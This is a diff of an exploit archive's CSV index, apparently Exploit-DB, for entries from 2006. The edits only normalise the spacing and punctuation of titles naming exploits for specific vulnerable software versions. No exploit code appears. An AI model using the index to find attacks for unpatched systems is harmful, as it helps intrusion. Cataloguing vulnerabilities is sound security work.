-1516,platforms/php/webapps/1516.php,"ilchClan <=  1.05g (tid) Remote SQL Injection Exploit",2006-02-20,x128,php,webapps,0
+1516,platforms/php/webapps/1516.php,"ilchClan <= 1.05g (tid) Remote SQL Injection Exploit",2006-02-20,x128,php,webapps,0
 1517,platforms/php/webapps/1517.c,"PunBB <= 2.0.10 (Register Multiple Users) Denial of Service Exploit",2006-02-20,K4P0,php,webapps,0
 1518,platforms/linux/local/1518.c,"MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit",2006-02-20,"Marco Ivaldi",linux,local,0
 1519,platforms/osx/remote/1519.pm,"Mac OS X Safari Browser (Safe File) Remote Code Execution Exploit",2006-02-22,"H D Moore",osx,remote,0
@@ -1291,7 +1291,7 @@ id,file,description,date,author,platform,type,port
 1548,platforms/php/webapps/1548.pl,"MyBulletinBoard (MyBB) <= 1.04 (misc.php COMMA) SQL Injection (2)",2006-03-03,Devil-00,php,webapps,0
 1549,platforms/php/webapps/1549.php,"PHP-Stats <= 0.1.9.1 Remote Commands Execution Exploit",2006-03-04,rgod,php,webapps,0
 1550,platforms/asp/webapps/1550.txt,"TotalECommerce <= 1.0 (index.asp id) Remote SQL Injection Exploit",2006-03-04,nukedx,asp,webapps,0
-1551,platforms/hardware/dos/1551.txt,"Multiple Routers (IRC Request) Disconnect  Denial of Service Vulnerability",2006-03-04,"Ryan Meyer",hardware,dos,0
+1551,platforms/hardware/dos/1551.txt,"Multiple Routers (IRC Request) Disconnect Denial of Service Vulnerability",2006-03-04,"Ryan Meyer",hardware,dos,0
 1552,platforms/windows/dos/1552.pl,"XM Easy Personal FTP Server 1.0 (Port) Remote Overflow PoC",2006-03-04,luka.research,windows,dos,0
 1553,platforms/php/webapps/1553.pl,"Fantastic News <= 2.1.2 (script_path) Remote Code Execution Exploit",2006-03-04,uid0,php,webapps,0
 1554,platforms/multiple/local/1554.c,"LibTiff 3.7.1 (BitsPerSample Tag) Local Buffer Overflow Exploit",2006-03-05,"Agustin Gianni",multiple,local,0
@@ -1337,11 +1337,11 @@ id,file,description,date,author,platform,type,port
 1596,platforms/linux/local/1596.txt,"X.Org X11 (X11R6.9.0/X11R7.0) Local Root Privilege Escalation Exploit",2006-03-20,"H D Moore",linux,local,0
 1597,platforms/asp/webapps/1597.pl,"ASPPortal <= 3.1.1 (downloadid) Remote SQL Injection Exploit",2006-03-20,nukedx,asp,webapps,0
 1598,platforms/windows/dos/1598.html,"MS Internet Explorer 6.0 (script action handlers) (mshtml.dll) DoS",2006-03-21,"Michal Zalewski",windows,dos,0
-1599,platforms/windows/dos/1599.cpp,"MS Windows XP/2003 (IGMP v3) Denial of Service Exploit (MS06-007)",2006-03-21,"Alexey Sintsov",windows,dos,0
+1599,platforms/windows/dos/1599.cpp,"MS Windows XP/2003 (IGMP v3) - Denial of Service Exploit (MS06-007)",2006-03-21,"Alexey Sintsov",windows,dos,0
 1600,platforms/php/webapps/1600.php,"FreeWPS <= 2.11 (images.php) Remote Code Execution Exploit",2006-03-21,x128,php,webapps,0
 1601,platforms/windows/dos/1601.c,"ASP.NET w3wp (COM Components) Remote Crash Exploit",2006-03-22,"Debasis Mohanty",windows,dos,0
 1602,platforms/multiple/remote/1602.c,"BomberClone < 0.11.6.2 (Error Messages) Remote Buffer Overflow Exploit",2006-03-22,"esca zoo",multiple,remote,11000
-1603,platforms/windows/dos/1603.c,"MS Windows XP/2003 (IGMP v3) Denial of Service Exploit (MS06-007)  (2)",2006-03-22,Firestorm,windows,dos,0
+1603,platforms/windows/dos/1603.c,"MS Windows XP/2003 - (IGMP v3) Denial of Service Exploit (MS06-007) (2)",2006-03-22,Firestorm,windows,dos,0
 1604,platforms/windows/dos/1604.html,"MS Internet Explorer 6.0 (mshtml.dll checkbox) Crash",2006-03-22,"Stelian Ene",windows,dos,0
 1605,platforms/php/webapps/1605.php,"XHP CMS <= 0.5 (upload) Remote Command Execution Exploit",2006-03-22,rgod,php,webapps,0
 1606,platforms/windows/remote/1606.html,"MS Internet Explorer (createTextRang) Remote Code Execution Exploit",2006-03-23,darkeagle,windows,remote,0
@@ -1361,7 +1361,7 @@ id,file,description,date,author,platform,type,port
 1620,platforms/windows/remote/1620.pm,"MS Internet Explorer (createTextRang) Remote Exploit (meta update)",2006-04-01,"Randy Flood",windows,remote,0
 1621,platforms/php/webapps/1621.php,"Plogger <= Beta 2.1 Administrative Credentials Disclosure Exploit",2006-03-28,rgod,php,webapps,0
 1622,platforms/multiple/dos/1622.pl,"RealPlayer <= 10.5 (6.0.12.1040-1348) SWF Buffer Overflow PoC",2006-03-28,"Federico L. Bossi Bonin",multiple,dos,0
-1623,platforms/asp/webapps/1623.pl,"EzASPSite <= 2.0 RC3 (Scheme)  Remote SQL Injection Exploit",2006-03-29,nukedx,asp,webapps,0
+1623,platforms/asp/webapps/1623.pl,"EzASPSite <= 2.0 RC3 (Scheme) Remote SQL Injection Exploit",2006-03-29,nukedx,asp,webapps,0
 1624,platforms/tru64/local/1624.pl,"Tru64 UNIX 5.0 (Rev. 910) rdist NLSPATH Buffer Overflow Exploit",2006-03-29,"Kevin Finisterre",tru64,local,0
 1625,platforms/tru64/local/1625.pl,"Tru64 UNIX 5.0 (Rev. 910) edauth NLSPATH Buffer Overflow Exploit",2006-03-29,"Kevin Finisterre",tru64,local,0
 1626,platforms/windows/remote/1626.pm,"PeerCast <= 0.1216 Remote Buffer Overflow Exploit (win32) (meta)",2006-03-30,"H D Moore",windows,remote,7144
@@ -1371,7 +1371,7 @@ id,file,description,date,author,platform,type,port
 1630,platforms/php/webapps/1630.pl,"PHPNuke-Clan 3.0.1 (vwar_root2) Remote File Inclusion Exploit",2006-04-01,uid0,php,webapps,0
 1631,platforms/php/webapps/1631.php,"ReloadCMS <= 1.2.5 Cross Site Scripting / Remote Code Execution Exploit",2006-04-02,rgod,php,webapps,0
 1632,platforms/php/webapps/1632.pl,"VWar 1.5.0 R12 Remote File Inclusion Exploit",2006-04-02,uid0,php,webapps,0
-1633,platforms/windows/dos/1633.c,"Total Commander 6.x (unacev2.dll) Buffer Overflow PoC Exploit",2006-04-02,darkeagle,windows,dos,0
+1633,platforms/windows/dos/1633.c,"Total Commander 6.x - (unacev2.dll) Buffer Overflow PoC Exploit",2006-04-02,darkeagle,windows,dos,0
 1634,platforms/linux/dos/1634.pl,"mpg123 0.59r Malformed mp3 (SIGSEGV) Proof of Concept",2006-04-02,nitr0us,linux,dos,0
 1640,platforms/php/webapps/1640.pl,"AngelineCMS 0.8.1 (installpath) Remote File Inclusion Exploit",2006-04-04,K-159,php,webapps,0
 1641,platforms/linux/dos/1641.pl,"Libxine <= 1.14 MPEG Stream Buffer Overflow Vulnerability PoC",2006-04-04,"Federico L. Bossi Bonin",linux,dos,0
@@ -1418,8 +1418,8 @@ id,file,description,date,author,platform,type,port
 1694,platforms/php/webapps/1694.pl,"Internet PhotoShow (page) Remote File Inclusion Exploit",2006-04-18,Hessam-x,php,webapps,0
 1695,platforms/php/webapps/1695.pl,"PHP Net Tools <= 2.7.1 Remote Code Execution Exploit",2006-04-18,FOX_MULDER,php,webapps,0
 1697,platforms/php/webapps/1697.php,"PCPIN Chat <= 5.0.4 (login/language) Remote Code Execution Exploit",2006-04-19,rgod,php,webapps,0
-1698,platforms/php/webapps/1698.php,"Mambo <= 4.5.3 , Joomla <=1.0.7 (feed) Denial of Service Exploit",2006-04-19,trueend5,php,webapps,0
-1699,platforms/php/webapps/1699.txt,"RechnungsZentrale V2 <= 1.1.3 Remote Inclusion Vulnerability",2006-04-19,"GroundZero Security",php,webapps,0
+1698,platforms/php/webapps/1698.php,"Mambo <= 4.5.3 & Joomla <= 1.0.7 - (feed) Denial of Service Exploit",2006-04-19,trueend5,php,webapps,0
+1699,platforms/php/webapps/1699.txt,"RechnungsZentrale V2 <= 1.1.3 - Remote Inclusion Vulnerability",2006-04-19,"GroundZero Security",php,webapps,0
 1700,platforms/asp/webapps/1700.pl,"ASPSitem <= 1.83 (Haberler.asp) Remote SQL Injection Exploit",2006-04-19,nukedx,asp,webapps,0
 1701,platforms/php/webapps/1701.php,"PHPSurveyor <= 0.995 (surveyid) Remote Command Execution Exploit",2006-04-20,rgod,php,webapps,0
 1703,platforms/windows/remote/1703.pl,"Symantec Scan Engine 5.0.x.x Change Admin Password Remote Exploit",2006-04-21,"Marc Bevand",windows,remote,8004
@@ -1466,7 +1466,7 @@ id,file,description,date,author,platform,type,port
 1749,platforms/windows/dos/1749.pl,"acFTP FTP Server <= 1.4 (USER) Remote Buffer Overflow PoC",2006-05-04,Preddy,windows,dos,0
 1750,platforms/linux/remote/1750.c,"Quake 3 Engine 1.32b R_RemapShader() Remote Client BoF Exploit",2006-05-05,landser,linux,remote,0
 1751,platforms/php/webapps/1751.php,"Limbo CMS <= 1.0.4.2 (catid) Remote SQL Injection Exploit",2006-05-05,[Oo],php,webapps,0
-1752,platforms/php/webapps/1752.pl,"StatIt v4 (statitpath) Remote File Inclusion Exploit",2006-05-05,IGNOR3,php,webapps,0
+1752,platforms/php/webapps/1752.pl,"StatIt 4 - (statitpath) Remote File Inclusion Exploit",2006-05-05,IGNOR3,php,webapps,0
 1753,platforms/php/webapps/1753.txt,"TotalCalendar <= 2.30 (inc) Remote File Include Vulnerability",2006-05-05,Aesthetico,php,webapps,0
 1754,platforms/windows/dos/1754.py,"FileCOPA FTP Server <= 1.01 (USER) Remote Pre-Auth DoS",2006-05-05,Bigeazer,windows,dos,0
 1755,platforms/cgi/webapps/1755.py,"AWStats <= 6.5 (migrate) Remote Shell Command Injection Exploit",2006-05-06,redsand,cgi,webapps,0
@@ -1513,7 +1513,7 @@ id,file,description,date,author,platform,type,port
 1800,platforms/php/webapps/1800.txt,"ScozNews <= 1.2.1 (mainpath) Remote File Inclusion Vulnerability",2006-05-17,Kacper,php,webapps,0
 1801,platforms/multiple/dos/1801.txt,"libextractor <= 0.5.13 Multiple Heap Overflow PoC Exploits",2006-05-17,"Luigi Auriemma",multiple,dos,0
 1802,platforms/multiple/dos/1802.html,"Mozilla Firefox <= 1.5.0.3 (Loop) Denial of Service Exploit",2006-05-18,"Gianni Amato",multiple,dos,0
-1804,platforms/php/webapps/1804.txt,"phpBazar <= 2.1.0 Remote (Include/Auth  Bypass) Vulnerabilities",2006-05-19,[Oo],php,webapps,0
+1804,platforms/php/webapps/1804.txt,"phpBazar <= 2.1.0 Remote (Include/Auth Bypass) Vulnerabilities",2006-05-19,[Oo],php,webapps,0
 1805,platforms/php/webapps/1805.pl,"phpListPro <= 2.0.1 (Language) Remote Code Execution Exploit",2006-05-19,[Oo],php,webapps,0
 1806,platforms/windows/local/1806.c,"IntelliTamper 2.07 (*.map file) Local Arbitrary Code Execution Exploit",2006-05-19,Devil-00,windows,local,0
 1807,platforms/asp/webapps/1807.txt,"Zix Forum <= 1.12 (layid) SQL Injection Vulnerability",2006-05-19,FarhadKey,asp,webapps,0
@@ -1595,7 +1595,7 @@ id,file,description,date,author,platform,type,port
 1885,platforms/windows/remote/1885.pl,"QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit",2006-06-07,Kingcope,windows,remote,80
 1886,platforms/php/webapps/1886.txt,"OpenEMR <= 2.8.1 (fileroot) Remote File Include Vulnerability",2006-06-07,Kacper,php,webapps,0
 1887,platforms/php/webapps/1887.txt,"Xtreme/Ditto News <= 1.0 (post.php) Remote File Include Vulnerability",2006-06-07,Kacper,php,webapps,0
-1888,platforms/php/webapps/1888.txt,"Back-End CMS <= 0.7.2.1 (jpcache.php) Remote  Include Vulnerability",2006-06-08,"Federico Fazzi",php,webapps,0
+1888,platforms/php/webapps/1888.txt,"Back-End CMS <= 0.7.2.1 (jpcache.php) Remote Include Vulnerability",2006-06-08,"Federico Fazzi",php,webapps,0
 1889,platforms/hardware/remote/1889.txt,"D-Link Access-Point <= 2.10na (DWL Series) Config Disclosure Vuln",2006-06-08,INTRUDERS,hardware,remote,0
 1890,platforms/php/webapps/1890.txt,"cms-bandits 2.5 (spaw_root) Remote File Include Vulnerabilities",2006-06-08,"Federico Fazzi",php,webapps,0
 1891,platforms/php/webapps/1891.txt,"Enterprise Payroll Systems <= 1.1 (footer) Remote Include Vulnerability",2006-06-08,Kacper,php,webapps,0
@@ -1681,7 +1681,7 @@ id,file,description,date,author,platform,type,port
 1972,platforms/multiple/dos/1972.txt,"Opera Web Browser 9.00 (iframe) Remote Denial of Service Exploit",2006-07-01,y3dips,multiple,dos,0
 1973,platforms/osx/local/1973.pl,"Mac OS X <= 10.4.6 (launchd) Local Format String Exploit (ppc)",2006-07-01,"Kevin Finisterre",osx,local,0
 1974,platforms/php/webapps/1974.txt,"SmartSiteCMS 1.0 (root) Multiple Remote File Inclusion Vulnerabilities",2006-07-01,CrAsh_oVeR_rIdE,php,webapps,0
-1975,platforms/php/webapps/1975.pl,"BXCP <=  0.3.0.4 (where) Remote SQL Injection Exploit",2006-07-02,x23,php,webapps,0
+1975,platforms/php/webapps/1975.pl,"BXCP <= 0.3.0.4 (where) Remote SQL Injection Exploit",2006-07-02,x23,php,webapps,0
 1976,platforms/windows/dos/1976.cpp,"Quake 3 Engine Client CG_ServerCommand() Remote Overflow Exploit",2006-07-02,RunningBon,windows,dos,0
 1977,platforms/windows/dos/1977.cpp,"Quake 3 Engine Client CS_ITEMS Remote Overflow Exploit (Win32)",2006-07-02,RunningBon,windows,dos,0
 1978,platforms/windows/local/1978.pl,"Microsoft Excel Universal Hlink Local Buffer Overflow Exploit",2006-07-02,"SYS 49152",windows,local,0
@@ -1709,14 +1709,14 @@ id,file,description,date,author,platform,type,port
 2001,platforms/windows/dos/2001.c,"Microsoft Word 2000/2003 Unchecked Boundary Condition Vulnerability",2006-07-10,"naveed afzal",windows,dos,0
 2002,platforms/php/webapps/2002.pl,"EJ3 TOPo 2.2 (descripcion) Remote Command Execution Exploit",2006-07-10,Hessam-x,php,webapps,0
 2003,platforms/php/webapps/2003.txt,"SQuery <= 4.5 (gore.php) Remote File Inclusion Vulnerability",2006-07-10,SHiKaA,php,webapps,0
-2004,platforms/linux/local/2004.c,"Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit",2006-07-11,"dreyer & RoMaNSoFt",linux,local,0
-2005,platforms/linux/local/2005.c,"Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)",2006-07-12,"Julien Tinnes",linux,local,0
-2006,platforms/linux/local/2006.c,"Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)",2006-07-13,"Marco Ivaldi",linux,local,0
+2004,platforms/linux/local/2004.c,"Linux Kernel 2.6.13 <= 2.6.17.4 - sys_prctl() Local Root Exploit",2006-07-11,"dreyer & RoMaNSoFt",linux,local,0
+2005,platforms/linux/local/2005.c,"Linux Kernel 2.6.13 <= 2.6.17.4 - sys_prctl() Local Root Exploit (2)",2006-07-12,"Julien Tinnes",linux,local,0
+2006,platforms/linux/local/2006.c,"Linux Kernel 2.6.13 <= 2.6.17.4 - sys_prctl() Local Root Exploit (3)",2006-07-13,"Marco Ivaldi",linux,local,0
 2007,platforms/php/webapps/2007.php,"phpBB 3 (memberlist.php) Remote SQL Injection Exploit",2006-07-13,rgod,php,webapps,0
 2008,platforms/php/webapps/2008.php,"Phorum 5 (pm.php) Arbitrary Local Inclusion Exploit",2006-07-13,rgod,php,webapps,0
 2009,platforms/php/webapps/2009.txt,"CzarNews <= 1.14 (tpath) Remote File Inclusion Vulnerability",2006-07-13,SHiKaA,php,webapps,0
-2010,platforms/php/webapps/2010.pl,"Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit",2006-07-14,RusH,php,webapps,0
-2011,platforms/linux/local/2011.sh,"Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)",2006-07-14,Sunay,linux,local,0
+2010,platforms/php/webapps/2010.pl,"Invision Power Board 2.1 <= 2.1.6 - Remote SQL Injection Exploit",2006-07-14,RusH,php,webapps,0
+2011,platforms/linux/local/2011.sh,"Linux Kernel 2.6.13 <= 2.6.17.4 - sys_prctl() Local Root Exploit (4)",2006-07-14,Sunay,linux,local,0
 2012,platforms/php/webapps/2012.php,"MyBulletinBoard (MyBB) <= 1.1.5 (CLIENT-IP) SQL Injection Exploit",2006-07-15,rgod,php,webapps,0
 2013,platforms/linux/local/2013.c,"Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit",2006-07-15,h00lyshit,linux,local,0
 2014,platforms/windows/remote/2014.pl,"Winlpd 1.2 Build 1076 Remote Buffer Overflow Exploit",2006-07-15,"Pablo Isola",windows,remote,515
@@ -1736,9 +1736,9 @@ id,file,description,date,author,platform,type,port
 2028,platforms/php/webapps/2028.txt,"Sitemap Mambo Component <= 2.0.0 Remote Include Vulnerability",2006-07-17,Matdhule,php,webapps,0
 2029,platforms/php/webapps/2029.txt,"pollxt Mambo Component <= 1.22.07 Remote Include Vulnerability",2006-07-17,vitux,php,webapps,0
 2030,platforms/php/webapps/2030.txt,"MiniBB Mambo Component <= 1.5a Remote File Include Vulnerabilities",2006-07-17,Matdhule,php,webapps,0
-2031,platforms/linux/local/2031.c,"Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)",2006-07-18,"Marco Ivaldi",linux,local,0
+2031,platforms/linux/local/2031.c,"Linux Kernel 2.6.13 <= 2.6.17.4 - prctl() Local Root Exploit (logrotate)",2006-07-18,"Marco Ivaldi",linux,local,0
 2032,platforms/php/webapps/2032.pl,"Eskolar CMS 0.9.0.0 Remote Blind SQL Injection Exploit",2006-07-18,"Jacek Wlodarczyk",php,webapps,0
-2033,platforms/php/webapps/2033.pl,"Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit (2)",2006-07-18,"w4g.not null",php,webapps,0
+2033,platforms/php/webapps/2033.pl,"Invision Power Board 2.1 <= 2.1.6 - Remote SQL Injection Exploit (2)",2006-07-18,"w4g.not null",php,webapps,0
 2034,platforms/hardware/remote/2034.txt,"BT Voyager 2091 (Wireless ADSL) Multiple Vulnerabilities",2006-07-18,"Adrian ""pagvac"" Pastor",hardware,remote,0
 2035,platforms/php/webapps/2035.php,"toendaCMS <= 1.0.0 (FCKeditor) Remote File Upload Exploit",2006-07-18,rgod,php,webapps,0
 2036,platforms/php/webapps/2036.txt,"PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability",2006-07-18,FarhadKey,php,webapps,0
@@ -1770,7 +1770,7 @@ id,file,description,date,author,platform,type,port
 2070,platforms/windows/remote/2070.pl,"SIPfoundry sipXtapi (CSeq) Remote Buffer Overflow Exploit",2006-07-24,"Jacopo Cervini",windows,remote,5060
 2071,platforms/php/webapps/2071.php,"Etomite CMS <= 0.6.1 (username) SQL Injection Exploit (mq = off)",2006-07-25,rgod,php,webapps,0
 2072,platforms/php/webapps/2072.php,"Etomite CMS <= 0.6.1 (rfiles.php) Remote Command Execution Exploit",2006-07-25,rgod,php,webapps,0
-2073,platforms/multiple/dos/2073.c,"libmikmod <= 3.2.2 (GT2 loader)  Local Heap Overflow PoC",2006-07-25,"Luigi Auriemma",multiple,dos,0
+2073,platforms/multiple/dos/2073.c,"libmikmod <= 3.2.2 (GT2 loader) Local Heap Overflow PoC",2006-07-25,"Luigi Auriemma",multiple,dos,0
 2074,platforms/windows/remote/2074.pm,"eIQnetworks License Manager Remote Buffer Overflow Exploit (1262)",2006-07-26,ri0t,windows,remote,10616
 2075,platforms/windows/remote/2075.pm,"eIQnetworks License Manager Remote Buffer Overflow Exploit (494)",2006-07-26,ri0t,windows,remote,0
 2076,platforms/windows/remote/2076.pl,"AIM Triton 1.0.4 (SipXtapi) Remote Buffer Overflow Exploit (PoC)",2006-07-26,c0rrupt,windows,remote,5061
@@ -1784,7 +1784,7 @@ id,file,description,date,author,platform,type,port
 2084,platforms/php/webapps/2084.txt,"Mambo MGM Component <= 0.95r2 Remote Inclusion Vulnerability",2006-07-28,"A-S-T TEAM",php,webapps,0
 2085,platforms/php/webapps/2085.txt,"Mambo Colophon Component <= 1.2 Remote Inclusion Vulnerability",2006-07-29,Drago84,php,webapps,0
 2086,platforms/php/webapps/2086.txt,"Mambo mambatStaff Component <= 3.1b Remote Inclusion Vulnerability",2006-07-29,Dr.Jr7,php,webapps,0
-2087,platforms/php/webapps/2087.php,"vbPortal 3.0.2 <= 3.6.0 b1 (cookie) Remote Code Excution Exploit",2006-07-29,R00t[ATI],php,webapps,0
+2087,platforms/php/webapps/2087.php,"vbPortal 3.0.2 <= 3.6.0 b1 - (cookie) Remote Code Excution Exploit",2006-07-29,R00t[ATI],php,webapps,0
 2088,platforms/php/webapps/2088.php,"ATutor <= 1.5.3.1 (links) Remote Blind SQL Injection Exploit",2006-07-30,rgod,php,webapps,0
 2089,platforms/php/webapps/2089.txt,"Mambo User Home Pages Component <= 0.5 Remote Include Vulnerability",2006-07-30,"Kurdish Security",php,webapps,0
 2090,platforms/php/webapps/2090.txt,"Joomla com_bayesiannaivefilter Component <= 1.1 Inclusion Vulnerability",2006-07-30,Pablin77,php,webapps,0
@@ -1829,7 +1829,7 @@ id,file,description,date,author,platform,type,port
 2132,platforms/php/webapps/2132.txt,"phpAutoMembersArea <= 3.2.5 (installed_config_file) Remote Inclusion",2006-08-07,"Philipp Niedziela",php,webapps,0
 2133,platforms/php/webapps/2133.txt,"Simple CMS Administrator Authentication Bypass Vulnerability",2006-08-07,daaan,php,webapps,0
 2134,platforms/php/webapps/2134.txt,"phpCC 4.2 beta (base_dir) Remote File Inclusion Vulnerability",2006-08-07,Solpot,php,webapps,0
-2135,platforms/php/webapps/2135.txt,"NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion Vulnerabilities",2006-08-07,"Philipp Niedziela",php,webapps,0
+2135,platforms/php/webapps/2135.txt,"NEWSolved Lite 1.9.2 - (abs_path) Remote File Inclusion Vulnerabilities",2006-08-07,"Philipp Niedziela",php,webapps,0
 2136,platforms/hardware/remote/2136.txt,"Barracuda Spam Firewall <= 3.3.03.053 Remote Code Execution",2006-08-07,"Greg Sinclair",hardware,remote,0
 2137,platforms/php/webapps/2137.txt,"QuestCMS (main.php) Remote File Include Vulnerability",2006-08-07,Crackers_Child,php,webapps,0
 2138,platforms/asp/webapps/2138.txt,"YenerTurk Haber Script 1.0 Remote SQL Injection Vulnerability",2006-08-07,ASIANEAGLE,asp,webapps,0
@@ -1890,7 +1890,7 @@ id,file,description,date,author,platform,type,port
 2193,platforms/linux/local/2193.php,"PHP <= 4.4.3 / 5.1.4 (sscanf) Local Buffer Overflow Exploit",2006-08-16,andi,linux,local,0
 2194,platforms/windows/dos/2194.pl,"MS Windows PNG File IHDR Block Denial of Service Exploit PoC",2006-08-16,Preddy,windows,dos,0
 2195,platforms/windows/dos/2195.html,"VMware 5.5.1 COM Object Arbitrary Partition Table Delete Exploit",2006-08-16,nop,windows,dos,0
-2196,platforms/php/webapps/2196.txt,"Mambo CopperminePhotoGalery Component  Remote Include Vulnerability",2006-08-16,k1tk4t,php,webapps,0
+2196,platforms/php/webapps/2196.txt,"Mambo CopperminePhotoGalery Component Remote Include Vulnerability",2006-08-16,k1tk4t,php,webapps,0
 2198,platforms/php/webapps/2198.php,"CubeCart <= 3.0.11 (oid) Remote Blind SQL Injection Exploit",2006-08-17,rgod,php,webapps,0
 2199,platforms/php/webapps/2199.txt,"IRSR <= 0.2 (_sysSessionPath) Remote File Include Vulnerability",2006-08-17,Kacper,php,webapps,0
 2200,platforms/php/webapps/2200.txt,"WTcom <= 0.2.4-alpha (torrents.php) Remote SQL Injection Vulnerability",2006-08-17,sh1r081,php,webapps,0
@@ -1912,7 +1912,7 @@ id,file,description,date,author,platform,type,port
 2216,platforms/php/webapps/2216.txt,"Sonium Enterprise Adressbook <= 0.2 (folder) Include Vulnerability",2006-08-18,"Philipp Niedziela",php,webapps,0
 2217,platforms/php/webapps/2217.txt,"Mambo cropimage Component <= 1.0 Remote File Include Vulnerability",2006-08-19,"Mehmet Ince",php,webapps,0
 2218,platforms/php/webapps/2218.txt,"interact <= 2.2 (CONFIG[BASE_PATH]) Remote File Include Vulnerability",2006-08-19,Kacper,php,webapps,0
-2219,platforms/php/webapps/2219.php,"Joomla <=1.0.10 (poll component) Arbitrary Add Votes Exploit",2006-08-19,trueend5,php,webapps,0
+2219,platforms/php/webapps/2219.php,"Joomla <= 1.0.10 - (poll component) Arbitrary Add Votes Exploit",2006-08-19,trueend5,php,webapps,0
 2220,platforms/php/webapps/2220.txt,"Tutti Nova <= 1.6 (TNLIB_DIR) Remote File Include Vulnerability",2006-08-19,SHiKaA,php,webapps,0
 2221,platforms/php/webapps/2221.txt,"Fantastic News <= 2.1.3 (script_path) Remote File Include Vulnerability",2006-08-19,SHiKaA,php,webapps,0
 2222,platforms/php/webapps/2222.txt,"Mambo com_lurm_constructor Component <= 0.6b Include Vulnerability",2006-08-19,mdx,php,webapps,0
@@ -1945,12 +1945,12 @@ id,file,description,date,author,platform,type,port
 2249,platforms/php/webapps/2249.txt,"pSlash 0.7 (lvc_include_dir) Remote File Include Vulnerability",2006-08-23,"Mehmet Ince",php,webapps,0
 2250,platforms/php/webapps/2250.pl,"Integramod Portal <= 2.x (functions_portal.php) Remote Include Exploit",2006-08-23,nukedx,php,webapps,0
 2251,platforms/php/webapps/2251.pl,"VistaBB <= 2.x (functions_mod_user.php) Remote Include Exploit",2006-08-23,nukedx,php,webapps,0
-2252,platforms/php/webapps/2252.pl,"Wikepage Opus 10 <= 2006.2a (lng) Remote Command Execution Exploit",2006-08-24,Hessam-x,php,webapps,0
+2252,platforms/php/webapps/2252.pl,"Wikepage Opus 10 <= 2006.2a (lng) - Remote Command Execution Exploit",2006-08-24,Hessam-x,php,webapps,0
 2253,platforms/php/webapps/2253.php,"Phaos <= 0.9.2 basename() Remote Command Execution Exploit",2006-08-24,Kacper,php,webapps,0
 2254,platforms/php/webapps/2254.txt,"phpCOIN 1.2.3 (session_set.php) Remote Include Vulnerability",2006-08-24,Timq,php,webapps,0
 2255,platforms/php/webapps/2255.txt,"eFiction < 2.0.7 Remote Admin Authentication Bypass Vulnerability",2006-08-25,Vipsta,php,webapps,0
 2256,platforms/php/webapps/2256.txt,"Integramod Portal <= 2.0 rc2 (phpbb_root_path) Remote File Include",2006-08-25,MATASANOS,php,webapps,0
-2257,platforms/php/webapps/2257.txt,"CliServ Web Community <= 0.65 (cl_headers)  Include Vulnerability",2006-08-25,Kacper,php,webapps,0
+2257,platforms/php/webapps/2257.txt,"CliServ Web Community <= 0.65 (cl_headers) Include Vulnerability",2006-08-25,Kacper,php,webapps,0
 2258,platforms/windows/remote/2258.py,"MDaemon POP3 Server < 9.06 (USER) Remote Heap Overflow Exploit",2006-08-26,muts,windows,remote,110
 2259,platforms/php/webapps/2259.txt,"proManager <= 0.73 (note.php) Remote SQL Injection Vulnerability",2006-08-26,Kacper,php,webapps,0
 2260,platforms/php/webapps/2260.pl,"AlberT-EasySite <= 1.0a5 (PSA_PATH) Remote File Include Exploit",2006-08-27,Kacper,php,webapps,0
@@ -1961,7 +1961,7 @@ id,file,description,date,author,platform,type,port
 2265,platforms/windows/remote/2265.c,"MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (2)",2006-08-28,ub3rst4r,windows,remote,445
 2266,platforms/cgi/webapps/2266.txt,"Cybozu Products (id) Arbitrary File Retrieval Vulnerability",2006-08-28,"Tan Chew Keong",cgi,webapps,0
 2267,platforms/cgi/webapps/2267.txt,"Cybuzu Garoon 2.1.0 Multiple Remote SQL Injection Vulnerabilities",2006-08-28,"Tan Chew Keong",cgi,webapps,0
-2268,platforms/php/webapps/2268.php,"e107 <= 0.75 (GLOBALS Overwrite) Remote Code Execution Exploit",2006-08-28,rgod,php,webapps,0
+2268,platforms/php/webapps/2268.php,"e107 <= 0.75 - (GLOBALS Overwrite) Remote Code Execution Exploit",2006-08-28,rgod,php,webapps,0
 2269,platforms/php/webapps/2269.txt,"Web3news <= 0.95 (PHPSECURITYADMIN_PATH) Remote Include Vuln",2006-08-28,SHiKaA,php,webapps,0
 2270,platforms/php/webapps/2270.php,"phpGroupWare <= 0.9.16.010 GLOBALS[] Remote Code Execution Exploit",2006-08-29,Kacper,php,webapps,0
 2271,platforms/php/webapps/2271.txt,"PortailPHP mod_phpalbum <= 2.1.5 (chemin) Remote Include Vuln",2006-08-29,"Mehmet Ince",php,webapps,0
@@ -1980,7 +1980,7 @@ id,file,description,date,author,platform,type,port
 2284,platforms/windows/local/2284.c,"TIBCO Rendezvous <= 7.4.11 Password Extractor Local Exploit",2006-09-01,"Andres Tarasco",windows,local,0
 2285,platforms/php/webapps/2285.txt,"MyBace Light (login_check.php) Remote File Vulnerability",2006-09-01,"Philipp Niedziela",php,webapps,0
 2286,platforms/windows/local/2286.cpp,"PowerZip <= 7.06.3895 Long Filename Handling Buffer Overflow Exploit",2006-09-01,bratax,windows,local,0
-2287,platforms/asp/webapps/2287.txt,"icblogger v2 (YID) Remote SQL Injection Vulnerability",2006-09-01,"Chironex Fleckeri",asp,webapps,0
+2287,platforms/asp/webapps/2287.txt,"icblogger 2.0 - (YID) Remote SQL Injection Vulnerability",2006-09-01,"Chironex Fleckeri",asp,webapps,0
 2288,platforms/php/webapps/2288.php,"TikiWiki <= 1.9 Sirius (jhot.php) Remote Command Execution Exploit",2006-09-02,rgod,php,webapps,0
 2289,platforms/php/webapps/2289.pl,"Annuaire 1Two 2.2 Remote SQL Injection Exploit",2006-09-02,DarkFig,php,webapps,0
 2290,platforms/php/webapps/2290.txt,"Dyncms <= Release 6 (x_admindir) Remote File Include Vulnerability",2006-09-02,SHiKaA,php,webapps,0
